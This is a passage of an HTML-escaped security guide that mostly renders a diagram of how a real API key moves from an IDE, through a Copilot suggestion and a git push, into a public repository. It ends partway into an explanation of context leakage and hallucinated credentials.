id=\"the-ai-secret-leak-lifecycle\"\u003eThe AI Secret Leak Lifecycle\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 720 169\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 16,16 L 152,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 256,16 L 440,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 528,16 L 664,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 176,48 L 184,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 264,48 L 272,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 480,48 L 488,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 544,48 L 552,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 16,64 L 152,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 256,64 L 352,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,64 L 448,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 528,64 L 600,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 600,64 L 672,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 592,128 L 600,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 16,16 L 16,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 168,32 L 168,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,40 L 280,56' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,64 L 352,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,104 L 352,120' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 456,24 L 456,40' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 472,40 L 472,56' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 560,40 L 560,56' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 600,64 L 600,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 600,112 L 600,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 680,24 L 680,40' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 704,40 L 704,56' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,48 L 280,56' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 560,48 L 560,56' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='280.000000,48.000000 268.000000,42.400002 268.000000,53.599998' fill='currentColor' transform='rotate(0.000000, 272.000000, 48.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='560.000000,48.000000 548.000000,42.400002 548.000000,53.599998' fill='currentColor' transform='rotate(0.000000, 552.000000, 48.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 152,16 A 16,16 0 0,1 168,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 440,16 A 16,16 0 0,1 456,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 664,16 A 16,16 0 0,1 680,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 168,48 A 16,16 0 0,1 152,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003ctext text-anchor='middle' x='16' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='36' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='52' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='36' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='52' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='52' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='52' fill='currentColor' style='font-size:1em'\u003eK\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='52' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='52' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='52' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='52' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='36' fill='currentColor' style='font-size:1em'\u003e|\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='4' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='36' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='100' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='132' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='148' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='36' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='100' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='148' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='52' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='100' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='132' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='52' fill='currentColor' style='font-size:1em'\u003eK\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='132' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='148' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='148' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='52' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='132' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='52' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='132' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='100' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='148' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='36' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='52' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='100' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='148' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='100' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='36' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='100' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='148' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='36' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='52' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='132' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='148' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='52' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='100' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='52' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='148' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='100' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='148' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='52' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='52' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='36' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='100' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='132' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='132' fill='currentColor' style='font-size:1em'\u003e\u0026lt;\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='52' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='52' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='52' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='36' fill='currentColor' style='font-size:1em'\u003e|\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='100' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='100' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='4' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='36' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='36' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='36' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='36' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='52' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='36' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='52' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='52' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='36' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='100' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='52' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='100' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='100' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='100' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='52' fill='currentColor' style='font-size:1em'\u003eK\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='4' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='36' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='52' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='100' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='52' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='688' y='100' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch2 id=\"1-the-dual-threat-model-hallucinations-vs-reality\"\u003e1. The Dual Threat Model: Hallucinations vs. Reality\u003c/h2\u003e\n\u003cp\u003eTo secure your pipeline, you must understand how AI leaks credentials differently than humans.\u003c/p\u003e\n\u003ch3 id=\"real-secrets-via-context-leakage\"\u003eReal Secrets via Context Leakage\u003c/h3\u003e\n\u003cp\u003eCopilot\u0026rsquo;s context window includes more than just the current file. It indexes recently opened tabs and files in the same workspace. If you open a \u003ccode\u003e.env\u003c/code\u003e file or a test fixture containing a real production key to reference a variable name, that key enters the model\u0026rsquo;s immediate context. Copilot may then reproduce that exact value in a suggestion for a new configuration file. The secret \u0026ldquo;travels\u0026rdquo; from a protected local file into your repository.\u003c/p\u003e\n\u003ch3 id=\"hallucinated-credentials-the-noise-problem\"\u003eHallucinated Credentials (The Noise 